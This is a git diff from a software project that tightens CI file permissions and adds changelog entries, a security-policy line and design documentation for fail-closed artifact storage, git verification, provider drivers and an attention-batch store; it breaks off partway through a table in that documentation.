diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 491ded7..0e1f268 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -19,15 +19,15 @@ jobs: - uses: actions/setup-node@v4 with: node-version: 24 - - run: npm install --global @modelcontextprotocol/inspector@2.2.0 - - run: node scripts/release-prerequisites.mjs - - run: node scripts/validate-release.mjs - - run: npm --prefix tools/acpx-vendor ci --ignore-scripts --no-audit --no-fund - - run: npm --prefix plugins/codex-co-engineer test - - run: npm --prefix plugins/cursor-cloud-control test - - run: npm --prefix tools/acpx-vendor run test:publish-provenance - - run: node scripts/inspector-preflight.mjs - - run: npm --prefix tools/acpx-vendor run test:reproducible - - run: npm --prefix tools/acpx-vendor run verify:publish-provenance - - run: npm pack ./plugins/codex-co-engineer --dry-run --ignore-scripts --offline --json - - run: npm pack ./plugins/cursor-cloud-control --dry-run --ignore-scripts --offline --json + - run: umask 077 && npm install --global @modelcontextprotocol/inspector@2.2.0 + - run: umask 077 && node scripts/release-prerequisites.mjs + - run: umask 077 && node scripts/validate-release.mjs + - run: umask 077 && npm --prefix tools/acpx-vendor ci --ignore-scripts --no-audit --no-fund + - run: umask 077 && npm --prefix plugins/codex-co-engineer test + - run: umask 077 && npm --prefix plugins/cursor-cloud-control test + - run: umask 077 && npm --prefix tools/acpx-vendor run test:publish-provenance + - run: umask 077 && node scripts/inspector-preflight.mjs + - run: umask 077 && npm --prefix tools/acpx-vendor run test:reproducible + - run: umask 077 && npm --prefix tools/acpx-vendor run verify:publish-provenance + - run: umask 077 && npm pack ./plugins/codex-co-engineer --dry-run --ignore-scripts --offline --json + - run: umask 077 && npm pack ./plugins/cursor-cloud-control --dry-run --ignore-scripts --offline --json diff --git a/CHANGELOG.md b/CHANGELOG.md index 0381527..866e3bb 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,8 +2,477 @@ ## [Unreleased] +### Fixed + +- **P11 identity namespace, non-success, overflow, and content-free failure.** + Provider-report ArtifactRef paths now bind `provider`, `model`, and + optional child-envelope digest into a P07-strict namespace so two + identities cannot share a path or ref. Failed/cancelled ACP turns never + publish accumulated partial text as complete. Collector overflow at the + raw class cap is handled inside `attachLocalProviderResultSink` with + typed content-free evidence and does not rewrite the provider terminal + or claim complete output. `contentFreeSinkFailureV1` allowlists closed + code/path values and uses one generic bounded message. + ### Added +- **Live protected-ref audit.** Adds additive v3 `protected-ref-audit.mjs` + (P30): a read-only live comparison of declared protected and default refs + against immutable expected identities. Local, bare, and linked-worktree + repositories are observed argv-only under the accepted P29 inspect + environment. Missing, moved, aliased, symbolic, packed, hostile, and raced + refs produce deterministic content-free evidence; packed storage that still + matches its expected SHA verifies. The audit consumes accepted P28 + classification and P29 remote-mutation denial without wrapping or weakening + them, never materializes credentials, and never mutates refs, worktrees, + indexes, config, or remotes. Receipts project P13 + `protected_ref_snapshot_compare` facts plus an all-false side-effect + nonclaim map. No API, run orchestration, release, or Gate A scope. + Coverage lives in `test/r1-protected-ref-audit.test.mjs` and + `test/r1-protected-ref-audit-adversarial.test.mjs`; boundaries live in + `docs/protected-ref-audit.md`. +- **Run dispatch orchestration boundary.** Adds additive v3 + `run-orchestration.mjs` (P31): it binds accepted P26 preflight to + accepted P29 closed credential/environment projection before any + workspace, branch or ref, reservation, dispatch, credential handoff, or + provider process exists. Preflight failure and host CPU/RAM capacity + denial fail closed with zero side effects. Prepare projects isolated + per-lane environments and still creates no handoff and no process. + Explicit dispatch uses an injected seam with closed env, credential-free + argv, owner-only identity-bound handoff files, cleanup on + failure/cancel/terminal/restart, content-free errors, and denied worker + remote mutation. The boundary never provisions workspaces, never audits + live refs (P30), never exposes a public API, and does not claim Gate A + or supervisor/server cutover. Coverage lives in + `test/r1-run-orchestration.test.mjs` and + `test/r1-run-orchestration-adversarial.test.mjs`; the boundary lives in + `docs/run-orchestration.md`. +- **Provider registry composition authority.** Adds the additive v3 + `provider-registry.mjs` module (P23): the deterministic, closed + composition authority behind provider selection. It registers exactly the + four accepted `ProviderDriverV1` adapters (P18 Grok ACP `grok`, P19 + Cursor Local `cursor-local`, P21 Cursor Cloud `cursor-cloud`, P20 DSH + ACPX `dsh`) in the frozen P02 grammar slot order, re-deriving that + vocabulary from the accepted grammar leaf so it cannot drift. Selection + (`resolveRegistrySelectionV1`) maps an exact `{provider, model}` pair + onto one entry under `exact_closed_slot_no_fallback` with no preference + walk, substitution, fallback, retry, or replay; closed model lists are + enforced against accepted constants and grammar-owned models stay with + their adapters, so no vocabulary is widened. Composition + (`composeProviderDriverV1`) gates the provider before reading any option + byte, quarantines hostile inputs content-free (Proxies, accessors, + symbols, non-enumerables, exotic prototypes, unknown keys fail closed + without running caller code), delegates to the one exact accepted factory, + and returns its value untouched so adapter lane stores, evidence maps, + and identity binding keep accepted semantics. Inventory + (`describeProviderRegistryV1`) quotes each accepted module's own describe + surface in detached frozen clones instead of restating capability claims. + The P22 future-harness template/conformance kit is inventoried as + mock/conformance evidence only: never a fifth provider slot, never + selectable, never composable here. The registry performs no ambient + discovery (no filesystem, environment, PATH, network, clock, random + source, process, or dynamic import), performs no supervisor/server/ + scheduler/durable-store cutover, claims no live transport qualification, + merge/PR authority, or direct mode, and changes no version or 3.2.1 + legacy behavior. Coverage lives in `test/r1-provider-registry.test.mjs`, + `test/r1-provider-registry-adversarial.test.mjs`, and + `test/r1-provider-registry-integration.test.mjs`; boundaries live in + `docs/provider-registry.md`. + +- **Git authority policy.** Adds additive v3 `git-authority.mjs` (P28): a + closed immutable `GitAuthorityPolicyV1` for protected/default refs, the + `codex/run-/` lane namespace, credential-free + repository/ref identity, and operation authority. External agents and + providers cannot merge, rebase, push, create PRs, mutate + protected/default refs, create tags/releases, or obtain + credential/remote mutation authority. Default-branch targets, merge + histories, namespace/confusable/ref-grammar attacks, unknown + operations/keys, proxy/accessor inputs, and bounds abuse fail closed. + Verdicts and P13-compatible facts/discrepancies are content-free and + never echo repository paths, URLs, credentials, provider text, or + hostile refs. This is policy at the authority seam only: no Git + mutation, no P29 credential isolation, and no P30 protected-ref audit. + Coverage lives in `test/r1-git-authority.test.mjs` and + `test/r1-git-authority-adversarial.test.mjs`. +- **Cursor Cloud result source.** Adds additive v3 + `cursor-cloud-result-source.mjs` (P12) that materializes Cursor Cloud + provider-reported result/output/status and independently observed + Git/branch/commit/PR evidence as distinct typed sources through the + accepted P09 sanitizer, P08 store, and P10 sanitized reader. Trusted Git + facts are never synthesized from provider text. Receipts expose only + bounded sanitized tails, refs, digests, and provenance; upstream + `source_truncated` is recorded separately from local inline clipping and + fail-closed storage limits. Exact run, assignment, request, repository, + branch, and head/base identity is bound into ArtifactRef paths; mismatch + fails closed with no replay. The Cursor Cloud worker is the only + serialized seam and preserves 3.2.1 `task.result` / `result_*` public + bytes when exact R1 identity is absent. Coverage lives in + `test/r1-cursor-cloud-result-source.test.mjs` and + `test/r1-cursor-cloud-result-source-adversarial.test.mjs`. +- **Local provider result sink.** Adds additive v3 + `local-provider-result-sink.mjs` (P11) that routes final local Grok ACP, + Cursor Local ACP, and DSH ACPX/CLI provider output into the accepted + P08/P09 raw+sanitized artifact store through one provider-neutral sink, + binding exact `run_id` / `assignment_id` / `provider` / `model` / optional + child-envelope digest identity into the ArtifactRefV1 path. The complete + transport-available result is stored up to the existing class cap; older + output is never silently discarded, empty results stay unpublished, and a + source that the upstream already clipped is persisted with truthful + `source_truncated` / `complete` provenance. Only sanitized artifacts are + model-readable. The receipt is detached deep-frozen content-free + metadata (raw/sanitized refs, P09 provenance, digests, counts, + truncation) plus a default inline tail of at most 4,096 UTF-8 bytes + derived through the accepted P10 sanitized reader and aligned on a valid + UTF-8 boundary, with inline clipping recorded separately from upstream + truncation. The ACP worker is the only serialized seam: it preserves + 3.2.1 `task.result` / `result_*` and event/terminal shapes, attaches + optional `provider_result_sink` metadata only after provider terminal + publication, and records typed content-free evidence on sink failure + without inventing completion or replaying provider work. Coverage lives + in `test/r1-local-provider-result-sink.test.mjs` and + `test/r1-local-provider-result-sink-adversarial.test.mjs`. +- **Atomic raw/sanitized artifact store.** Adds the additive v3 + `artifact-store.mjs` module for W4-P08: it binds validated ArtifactRefV1 + declarations to real bytes under one caller-supplied existing private store + root, mapping each strict relative path segment-for-segment into disjoint + `raw/` and `sanitized/` namespaces (`content/` plus a strictly parsed + canonical sidecar per artifact), so raw evidence and model-facing + projections never collide even at one path and no parallel ref or path + schema is introduced - references are parsed with `parseArtifactRefV1` and + nothing else, so traversal, absolute paths, reserved device names, + separator look-alikes, and Unicode tricks inherit the exact P07 denials. + Sources are intrinsic Buffer/Uint8Array views or bounded async iterables of + such views; proxies, subclasses, SharedArrayBuffer backings, strings, + accessor-shaped iterables, and arbitrary class instances are denied before + any byte is read. Declared byte length and SHA-256 are treated as untrusted + claims: bytes stream into an unpredictable owner-only same-directory + temporary while the class cap (sanitized 256 KiB, raw 32 MiB) is enforced + on every chunk before it is written, actual length and digest are computed + from the streamed bytes, and both must match the declaration exactly before + publication; the temporary is fsynced, published by exclusive hardlink that + refuses to clobber, unlinked, and the parent directories fsynced, so no + partial artifact ever exists under an authoritative name. Exact same + validated ref plus bytes is idempotent across concurrent submissions (one + deterministic winner plus idempotent losers behind a per-root operation + chain); conflicting content at one location, the same digest under + different metadata, or any other competing publication fails closed with + typed content-free errors and leaves the authoritative state untouched, + rolling back a race loser's own link only when the platform proves the + inode is ours. Roots and parents use descriptor/no-follow discipline - + O_NOFOLLOW|O_DIRECTORY opens, device/inode identity brackets, lstat-walked + 0700 parent chains re-proven after publication - rejecting missing, + non-private, symlinked, replaced, and swapped roots and parents wherever + provable. Verification and audit stream stored bytes in fixed chunks solely + to recompute length and digest (never returning or buffering content), + enumerate with bounded per-directory entries, files, depth, and total + audited bytes, and condemn leftover or torn temporaries (a reserved name + grammar artifacts may never spell), orphaned or duplicate sidecars, + symlinks, hardlinks, FIFOs and other non-regular entries, foreign names, + truncated or oversized content, malformed or misplaced metadata, and + content swapped under a path; audits return detached frozen metadata plus a + framed inventory fingerprint that restarts reproduce exactly. Receipts, + verdicts, and reports are deep-frozen, content-free, and never echo the + store root, artifact bytes, or operating-system errors. Out of scope and + unclaimed: P09 sanitization, the P10 reader, the P13 evidence bundle, + cleanup, scheduler/provider/supervisor wiring, and protected references; + a torn store stays torn and fails closed until an operator acts. Coverage + lives in `test/r1-artifact-store.test.mjs` and + `test/r1-artifact-store-adversarial.test.mjs`. +- **ScopeVerifierV1 independent changed-path ownership, read-only, and + merge-commit verifier.** Adds an additive v3 `scope-verifier.mjs` module + for W16-P15. It consumes only trusted P14 `GitIdentityV1` snapshots and + P13 `VerifiedFactV1` / `EvidenceDiscrepancyV1` records, never provider + claims, and binds content-free `git_diff` / `head_sha` facts + (`platform_git` with `scope_match`, `read_only_no_changes`, and + `merge_commit_absence`). Observation is argv-only (`/usr/bin/git`, no + shell) through the P14 closed environment with system/global/caller + config and protocols disabled; output, time, and command counts are + bounded; typed errors never echo hostile bytes. It validates ownership + of additions, deletions, renames, and copies against trusted assignment + write-scope globs (P02 matcher), including overlap with other writers, + symlink/gitlink/type-change, Unicode NFC vs confusable separators, and + tracked plus untracked state. Read-only lanes must have no candidate or + worktree mutations. Merge commits and multi-parent histories fail. + Pre/post identity and worktree fingerprints detect observation races + and fail closed. It does not own P16A trusted command policy, P28 Git + mutation, P30/P35 composition, server/supervisor integration, network, + or merge/rebase/push/PR. Coverage lives in `r1-scope-verifier` and + `r1-scope-verifier-adversarial` tests plus disposable rename, merge, + symlink, gitlink, Unicode, untracked, and race fixtures. +- **GitIdentityV1 independent repository, ancestry, and merge-base + verifier.** Adds an additive v3 `git-identity.mjs` module for W13-P14. + It derives Git facts from the local repository through argv execution + (`/usr/bin/git`, no shell) and never from provider claims, then binds + repository identity, expected base ref/name, exact base SHA, candidate + head SHA, object types, reachability, ancestry, merge-base identity, + and rewritten/stale history into P13 `VerifiedFactV1` / + `EvidenceDiscrepancyV1` snapshots (`git_identity` and `head_sha` with + `platform_git` / `ancestry_check`). Observation uses a closed + environment that cannot inherit `GIT_*`, replace, graft, or config + influence; output, time, and command counts are bounded; typed errors + never echo hostile bytes. It rejects missing/wrong repos, symbolic-ref + drift, detached/unborn/ambiguous refs, non-commit objects, replace + refs, grafts, hostile names, extra keys, proxies/accessors, and bounds + abuse. It does not own P15 scope/read-only/merge-commit checks, P16A + trusted command policy, P28 Git mutation, or provider/workspace + dispatch. Coverage lives in `r1-git-identity` and + `r1-git-identity-adversarial` tests plus disposable forged/stale/ + rewritten fixtures. +- **Constrained verification runner.** Adds additive + `constrained-verification-runner.mjs` for W16-P16C. The module consumes a + genuine immutable P16B ExecutionIntent receipt plus trusted P16A + `VerificationPolicyV1`, creates a disposable verification workspace + disjoint from the candidate, and executes the exact owner-approved + absolute executable and argv once with `shell=false` and no PATH lookup. + The child environment is empty by default and receives only + policy-authorized bounded entries. The runner enforces timeout, + signal/termination fail-closed rules, stdout/stderr byte caps, + host-available process isolation (Linux user/pid/net namespace via + `unshare` on the default adapter), network deny/default (allowlists are + unsupported), and one execution only. Candidate Git identity and + filesystem are audited before and after; persistent + candidate/ref/config/worktree mutation fails closed. Temporary cleanup + deletes only the exact workspace this invocation created. Outcome + evidence is bounded, sanitized, and P13-compatible: host-observed exit + status is never upgraded from provider-reported PASS. The module is not + wired into the MCP server, supervisor, scheduler, or process-boundary + worker launcher, and it does not merge, rebase, push, open a pull + request, or mutate a protected ref. Coverage lives in + `test/r1-constrained-verification-runner.test.mjs` and + `test/r1-constrained-verification-runner-adversarial.test.mjs`. +- **Approved verification-command resolver.** Adds additive + `approved-verification-command.mjs` for W15-P16B. The module consumes an + immutable trusted `VerificationPolicyV1` from P16A plus a closed + Codex/owner selection of `command_id` and typed parameter values, and + returns a fresh frozen ExecutionIntent / ApprovedCommand receipt. Every + parameter is checked against the owner-authored domain (exact name set, + required semantics, types, enums, ranges, length, and path-segment + grammar). Expansion substitutes only whole-token `{name}` placeholders + from the owner argv template; there is no shell string, PATH lookup, + executable override, interpolation, substitution, globbing, or option + smuggling. Provider, profile, and manifest reported commands remain + evidence only: matching command-id or argv text does not authorize + resolution. Receipts bind policy identity, command-descriptor identity, + canonical parameters, executable path, exact argv, and inherited P16A + constraints without executing. Hostile containers fail closed with typed + content-free errors. Callers' objects are neither mutated nor frozen. + The module never invokes a shell, resolves PATH, opens a network socket, + reads arbitrary workspace files, mutates a candidate, or implements the + later P16C runner. Coverage lives in + `test/r1-approved-verification-command.test.mjs` and + `test/r1-approved-verification-command-adversarial.test.mjs`. +- **Trusted VerificationPolicyV1 schema and owner-authored policy loader.** + Adds additive `trusted-verification-policy.mjs` for W14-P16A. The module + owns a versioned immutable command catalog: each stable command ID binds + an owner-authored absolute executable path, a fixed argv template, typed + parameter domains, and explicit network, environment, mutation, timeout, + and output policies. Absent capabilities materialize as exact default-deny + receipts (no network, empty environment, no persistent mutation, bounded + time and output). Canonical identity/digest is framed through the P03 + `verification-policy.v1` / `verification-command-descriptor.v1` labels. + Profiles, manifests, and provider reports may name a command ID and typed + parameters only; executable paths, argv, shell text, environment, network + targets, mutation grants, and resource limits are rejected on that + untrusted surface. Hostile containers fail closed (proxies, accessors, + symbols, exotic prototypes, cycles, bounds, ambiguous IDs) with typed + content-free errors. The owner loader reads + `/codex-co-engineer/verification-policy.json` and never invokes a + shell, resolves PATH, executes a command, opens a network socket, mutates + a candidate, or implements the later approved-command resolver/runner. + Coverage lives in `test/r1-trusted-verification-policy.test.mjs` and + `test/r1-trusted-verification-policy-adversarial.test.mjs`. +- **ArtifactRefV1 and the strict relative artifact path policy.** Adds two + additive, pure v3 modules for W3-P07. `artifact-path.mjs` owns one + deterministic fail-closed question - is this string a strict portable + run-relative artifact path? - accepting only NFC, well-formed, + forward-slash, relative paths of 1..16 segments (128 UTF-8 bytes each, + 1024 total) with no backslashes, leading/trailing/doubled slashes, empty + or dot-only segments, colons (foreclosing drive, UNC, alternate-data- + stream, and scheme spellings in one rule), Windows reserved device stems + (`con`, `CON.txt`, `com1`, `lpt0`, `clock$`), edge dots/spaces Windows + strips, C0/C1 controls, invisible/format/bidi/tag code points, or solidus + look-alikes; the fixed validation pipeline raises identical first typed + errors from a closed 17-code vocabulary and never echoes hostile bytes. + `artifact-ref.mjs` binds the closed ten-key ArtifactRefV1 schema - exact + run/child identifiers reusing the accepted manifest grammars, artifact + kind bound to the P17 capability vocabulary, raw-vs-sanitized class with + class-dependent bounded-evidence caps (sanitized 256 KiB, raw 32 MiB), + declared byte length, lowercase-hex SHA-256, and closed media-type and + content-encoding enums - behind hostile-container hardening that rejects + live/revoked Proxies with zero traps, accessors without invoking them, + symbol keys, exotic prototypes, own undefined, sparse/extended arrays, + aliases/cycles, depth, and size before any effect, returns deep-frozen + detached snapshots, and frames SHA-256 digests over validator-owned + canonical JSON with explicit domain/version/label separation so key order + cannot change a digest while any value change must; ordering is a fixed + tuple comparator plus a bounded (64), duplicate-free batch orderer. Both + modules are pure schema/path policy only - no filesystem, network, or + process I/O - and neither claims that P08 artifact storage exists: + producers declare references, and only a later storage authority may bind + them to bytes. Coverage lives in `test/r1-artifact-ref.test.mjs` and + `test/r1-artifact-ref-adversarial.test.mjs`. +- **Grok ACP ProviderDriverV1 adapter (P18).** Additive `grok-acp-driver` + binds provider slot `grok` onto the accepted P17 preflight/launch/ + reconcile/cancel contract and the P05 13-field capability record + (`confirmed_launch`, `live_session_reply`, local managed worktree at + `run_base_sha`, `never_replay`, no merge/PR authority). An injected + bounded ACP transport keeps tests deterministic: launch is `dispatched` + only after an authoritative acknowledgement; any exception, timeout, + loss, or unusable receipt after spawn/dispatch intent is returned as + `dispatch_uncertain` and is never retried, replayed, or + fallback-substituted. Duplicate launch, digest-only launch, direct + mode, merge/PR, and cross-provider/model drift fail closed. Bounded + live progress, detailed events, same-session reply identity, + cancellation confirmation, and restart reattach are supported exactly + where Grok ACP supports them, with stale session/run/child/model/ + workspace identities failing closed. Event pages, text, counts, + cursors, timings, and diagnostics are capped; envelope/prompt bytes + stay evidence and do not enter driver results or transport + preflight/observe/cancel/reattach requests. Process-local P17 lane + risk may remain; the module does not claim durable P19/P21 state, + supervisor cutover, or live Grok ACP qualification. Coverage lives in + `r1-grok-acp-driver` and `r1-grok-acp-driver-adversarial` tests. +- **Closed P20 DSH ACPX provider driver for Muse Spark 1.2 Contributor and Ox + Alpha.** Additive `DshApxDriverV1` hard-binds provider `dsh` plus exactly the + two allowed DSH models and implements the accepted P17 preflight/launch/ + reconcile/cancel lifecycle against an injected bounded ACPX one-shot + transport port, inheriting every envelope, capability, transition, and denial + rule from the accepted contract with no parallel schema. ACPX provides no + authoritative prompt-sent acknowledgement: after spawn intent the posture + stays `dispatch_uncertain`, post-intent exceptions and loss are never + replayed, retried, or fallback-substituted, and only provably pre-spawn + failures may report `not_sent` under a two-attempt lane budget. Same-session + reply is unsupported: unresolved attention surfaces honestly and no + replacement prompt or session is started. Live progress, detailed events, + cancellation confirmation, and restart recovery read recorded ACPX evidence + through bounded cursor-monotonic pages; exact model/config/credential + identity and task/session correlation fail closed on drift; forged receipts + fail closed while genuine loss degrades to uncertainty. Events, records, + cursors, lanes, attempts, operations, clock readings, and diagnostics are + capped, and detail telemetry is content-free by construction. The module + claims no real-transport qualification, durable P19/P21 store, supervisor + cutover, or merge/PR authority; the exact port surface for later real DSH + Muse/Ox lifecycle conformance is recorded in + `docs/dsh-acpx-driver.md`. Coverage lives in `r1-dsh-acpx-driver` and + `r1-dsh-acpx-driver-adversarial` tests. +- **Closed P17 provider-driver envelope and capability contract.** Additive + `ProviderDriverV1` owns the preflight/launch/reconcile/cancel lifecycle + plus typed results, exact ChildEnvelopeV1 launch proof (text bytes and + raw lowercase 64-hex P03 digest; digest-only launches are denied), and + honest capability declaration through the accepted P05 13-field + `ProviderCapabilitiesV1` bridge rather than a parallel schema. + Driver-surface features for same-session-adjacent live progress, + reconcile-only restart reattach, cancellation, and detailed events fail + closed when unsupported, with no fallback or post-dispatch replay. + Process-local status transitions refuse duplicate dispatch, stale + envelope correlation, and capability-contradicting launch certainty. + Direct-JS inputs use the P05 descriptor-first closure; validated values + are detached and deeply frozen. The module claims no provider transport, + registry cutover, scheduler, or durable store. Coverage lives in + `r1-provider-driver` and `r1-provider-driver-adversarial` tests plus the + reusable `provider-driver-contract-suite` harness. + +- **Aggregate journal binding after R24A resolution_ready (R25B).** Additive + `run-journal.mjs` gains stamp v2 and distinct + `createAggregateRunJournal` / `openAggregateRunJournal` entrypoints that + bind an existing P25 journal root/run identity to an exact validated R24A + marker, claim, anchor, coordination, and resolved-plan identity only after + that aggregate run is `resolution_ready` and the durable resolved-plan + record/digest re-verify. Legacy `createRunJournal` / `openRunJournal`, + stamp v1, fingerprint, six event kinds, reducer/state/cursor schemas, and + lock order stay byte- and behavior-identical; standalone P24/P25 callers + are unchanged. There is no migration, cross-open, root adoption, + empty-root inference, or legacy-to-aggregate fallback. Missing, + malformed, mismatched, or swapped R24A records, marker/claim/stamp + substitutions, symlink/hardlink/non-regular files, wrong run/root/plan, + stale phase/revision, and post-validation TOCTOU fail closed with typed + content-free errors. Identical aggregate identity reopens and replays + exactly; a different binding is a permanent conflict. Coverage lives in + `r1-run-journal-aggregate` and `r1-run-journal-aggregate-adversarial` + tests. R24A record publication remains in `aggregate-run-anchor.mjs`. +- **Aggregate pre-dispatch run anchor for unresolved P05 selection.** Additive + `aggregate-run-anchor.mjs` persists one immutable AggregateRunAnchorV1 plus + absorbing coordination state for runs whose P05 provider/model selection is + still unresolved, inside a caller-supplied existing private root distinct + from accepted P24/P25. The P03 registry gains closed labels `storage-root.v1`, + `aggregate-run-anchor.v1`, `aggregate-run-coordination.v1`, + `aggregate-submission-idempotency.v1`, `aggregate-run-claim.v1`, + `aggregate-selection-reply.v1`, and `aggregate-resolved-plan.v1`. + `initializeAggregateRunAnchorRoot` publishes an atomic owner-only + `storage-root.v1` marker of kind `aggregate_run_anchor` plus a nonce, and + only onto an existing private completely empty root. Open rejects unmarked + empty roots and nonempty P24, P25, or foreign layouts, and every operation + reverifies root and marker identity. `claims/.json` is durable + before `runs/`: a claim binds run, anchor, submission key, marker, + and claim nonce/digest. Namespace lock then per-run lock. An empty directory + without the exact claim is never adopted; the exact claim recovers the same + identity; a mismatch conflicts; losers never remove winner paths. High-level + `commitSelectionRequest`, `commitSelectionResolution`, and + `commitResolvedPlan` publish bounded canonical JSON records at fixed names, + fsync, and verify the full record before coordination references it. Exact + orphan records are adopted; differing orphans conflict; committed missing, + malformed, or digest-mismatched files are corruption. The lattice is + `submitted@0` → `awaiting_selection@1` → `resolution_ready@2`, or + `submitted@0` → `resolution_ready@1`; revisions are exact, the terminal + phase is absorbing, and identical retries are idempotent. There is no public + digest CAS, journal, reducer, scheduler, provider, workspace, server, or MCP + wiring, and no migration of P24/P25. Coverage lives in + `r1-aggregate-run-anchor` and `r1-aggregate-run-anchor-adversarial` tests. +- **Append-only run journal, deterministic reducer, and run-bound cursor.** + Additive `run-reducer.mjs` / `run-journal.mjs` persist one bounded + append-only canonical JSONL event chain per run inside a private per-run + directory of a separate caller-supplied existing private journal root. + Every create/open/append/read first binds an exact validated accepted-P24 + durable run record (the `openRunStore(...)` handle and its `getByRunId` + result) by run identity and canonical digest, never writes into the P24 + root (sharing it fails closed), and re-verifies a creation stamp bound to + that record on every operation, so inode-reuse directory swaps fail hard. + Entries carry dense sequences over closed event and content-addressed + artifact-ref shapes chained by a domain-separated SHA-256 hash; appends + serialize in-process and cross-process through an exclusive lock with + bounded dead-owner and age-capped stale recovery, support compare-and-swap + `expected_seq`, exact head dedupe, typed replay/dedupe conflicts, and full + lattice validation before any byte is written. Publication uses + same-directory temporaries with file fsync, atomic rename, and directory + fsync for the journal first and the atomically published derived state + second, so crashes leave only unpublished temporaries or a stale cache + that exact replay rebuilds. A torn unterminated final line is the only + healable damage; committed corruption or regression, malformed or foreign + entries, symlinks, hardlinks, floods, oversized files, and path attacks + fail closed with typed constant errors. The pure deterministic + terminal-absorbing reducer projects monotonic child/run state, and opaque + run-bound checksummed cursors page bounded event windows whose + diagnostics stay content-free counts. There is no artifact verification, + scheduler or provider invocation, attention reduction, supervisor/server + wiring, cleanup/GC, semantic memory, merge authority, or protected-ref + implementation. Coverage lives in `r1-run-journal` and + `r1-run-journal-adversarial` tests. +- **Durable local run store and idempotent submission.** Additive + `run-store.mjs` persists one bounded canonical record per run in an + explicit caller-supplied existing private directory. The store fails + closed on symlink, non-directory, and unsafe ownership or mode + surfaces, uses strict no-follow opens, and never derives child paths + from untrusted strings. Records bind the accepted P06 run identity, + Git repository/base authority, initial dispatch provenance and + telemetry facts, and request idempotency key. Exact same key plus + canonical body returns the existing record without mutation; same + key with a different body, same run with a different body or key, + and mismatched protected identity fail closed with typed constant + errors. Creates use private same-directory temporary files, complete + writes, fsync of file and directory, and exclusive link/rename + without overwriting an authoritative record. Restore audits + canonical bytes and recomputes every accepted P06 digest, and + rejects hardlinked or non-regular files, malformed JSON, duplicate + or foreign entries, truncation, oversized records, excess entries, + and leftover temporary files without following them. Enumeration, + bytes, record counts, filename lengths, and diagnostics are bounded + and never echo record contents or credentials. Concurrent duplicate + submissions keep one authoritative mapping from run id and request + idempotency key to the identical stored record. There is no journal + or reducer, scheduler, provider driver, artifact store, workspace + provisioning, cleanup, MCP wiring, or protected-ref implementation. + Coverage lives in `r1-run-store` and `r1-run-store-adversarial` + tests. - **Protected identity and monotonic telemetry schemas.** Additive `protected-identity.mjs` / `protected-telemetry.mjs` close exact run, child, provider-run, workspace, and Git identities plus a content-free diff --git a/SECURITY.md b/SECURITY.md index 0e8e9ed..4ad931c 100644 --- a/SECURITY.md +++ b/SECURITY.md @@ -40,6 +40,9 @@ and local; sanitized bounded evidence is the model-facing projection. Profiles are data-only. `VerificationPolicyV1` is the only executable command catalog for verification lanes; provider-reported or requested commands are evidence/attention and are never automatically executed. +The constrained verification runner executes only a genuine owner-approved +ExecutionIntent in a disposable workspace and does not treat +provider-reported PASS as a fact. Manual run cleanup is proof-bound; there is no automatic garbage collection. diff --git a/docs/attention-batch.md b/docs/attention-batch.md new file mode 100644 index 0000000..1074329 --- /dev/null +++ b/docs/attention-batch.md @@ -0,0 +1,107 @@ +# Attention batch (P34) + +P34 is the closed `AttentionBatchV1` persistence boundary. It latches one +immutable run-level question set at one accepted P25 revision/head/cursor +boundary, accepts exactly one durable reply round, and stores delivery plus +unresolved evidence in a separate owner-only root. It does not append P25 +events, encode questions in `child_progress.note`, dispatch providers, +compose a candidate, or expose a server/tool. + +Owned files: + +- `plugins/codex-co-engineer/mcp/v3/attention-batch.mjs` +- `plugins/codex-co-engineer/test/r1-attention-batch.test.mjs` +- `plugins/codex-co-engineer/test/r1-attention-batch-adversarial.test.mjs` +- `plugins/codex-co-engineer/test/fixtures/r1-attention-batch-fixtures.mjs` +- this document + +## Storage + +The caller supplies an existing private directory. The durable file is +always `runs//attention-batch.v1.json`. Directories are `0700` and +the record is `0600`. Opens are no-follow and owner-mode identity checked. +Publication uses a same-directory temporary, a complete write, file fsync, +atomic rename, and directory fsync. Mutating calls take `expected_revision` +compare-and-swap. The attention root must not be a P25 journal root and +must not contain P25 files (`journal.jsonl`, `state.json`, `created.json`, +`lock`). + +## Record + +Schema `codex-co-engineer.attention-batch.v1`, version `1`. Exact keys: + +`schema`, `version`, `run_id`, `batch_id`, `revision`, `status`, `source`, +`items`, `reply`, `unresolved`. + +Status is `open`, `reply_committed`, or `resolved`. `source` carries +`journal_revision`, `journal_head_hash`, and `task_cursors`. Each cursor and +item binds `assignment_id`, `task_id`, and `event_cursor`. Items are 1..8 +unique rows sorted by `assignment_id`. Prompt is `null` or sanitized UTF-8 +at most 4096 bytes; options are at most eight; the reply round is exactly +one; each response is at most 16384 bytes. + +Closed vocabularies: + +| Field | Values | +| --- | --- | +| provider | `grok`, `cursor-local`, `cursor-cloud`, `dsh` | +| reply_capability | `same_session`, `unsupported` | +| disposition | `pending`, `answered`, `unresolved` | +| unresolved code | `same_session_reply_unsupported`, `late_attention_after_latch`, `reply_delivery_failed`, `reply_deadline_expired`, `safe_cancel_unconfirmed` | + +Grok and Cursor Local are `same_session`. DSH and Cursor Cloud are +`unsupported`. A capability mismatch fails closed. + +## Transitions + +1. The first durable snapshot latches one immutable question set at one P25 + revision/head and cursor boundary (`status: open`, `revision: 1`). +2. Later questions cannot create a second round. They become + `late_attention_after_latch` and cancel only those late lanes. +3. Unsupported DSH/Cursor Cloud items become unresolved and cancel only the + affected lane. An unconfirmed cancel also records + `safe_cancel_unconfirmed`. +4. The reply is durable (`status: reply_committed`) before injected mailbox + delivery. Restart retries only the exact latched + run/assignment/task/session/question identities. +5. `resolved` is terminal when every item is `answered` or `unresolved`. A + required unresolved item, including required late attention, blocks a + complete candidate. Routine progress never wakes. + +## API + +- `openAttentionRoot(root)` — existing private directory; returns a handle. +- `handle.latch({ run_id, source, items, expected_revision, cancel?, now? })` +- `handle.reply({ run_id, batch_id, expected_revision, reply, deliver?, cancel?, now? })` +- `handle.get(run_id)` +- `describeAttentionBatchV1()`, `validateAttentionBatchRecordV1(record)`, + `attentionQuestionDigestV1(item)`, `deriveAttentionBatchIdV1(...)` + +Receipts are detached and deeply frozen. They carry the exact record plus +`created`, `complete_candidate_blocked`, `wake: false`, and +`remote_mutated: false`. Errors are typed `RunContractV1Error` values with +content-free diagnostics. + +`cancel` and `deliver` are injected seams. This module does not import +mailbox, drivers, scheduler, supervisor, server, or P25. + +## Ownership + +| Surface | Owner | Use here | +| --- | --- | --- | +| Six P25 event kinds, hash chain, cursor, derived state | P25 | source boundary values only; never written | +| Attention snapshots, batch identity, one reply, delivery 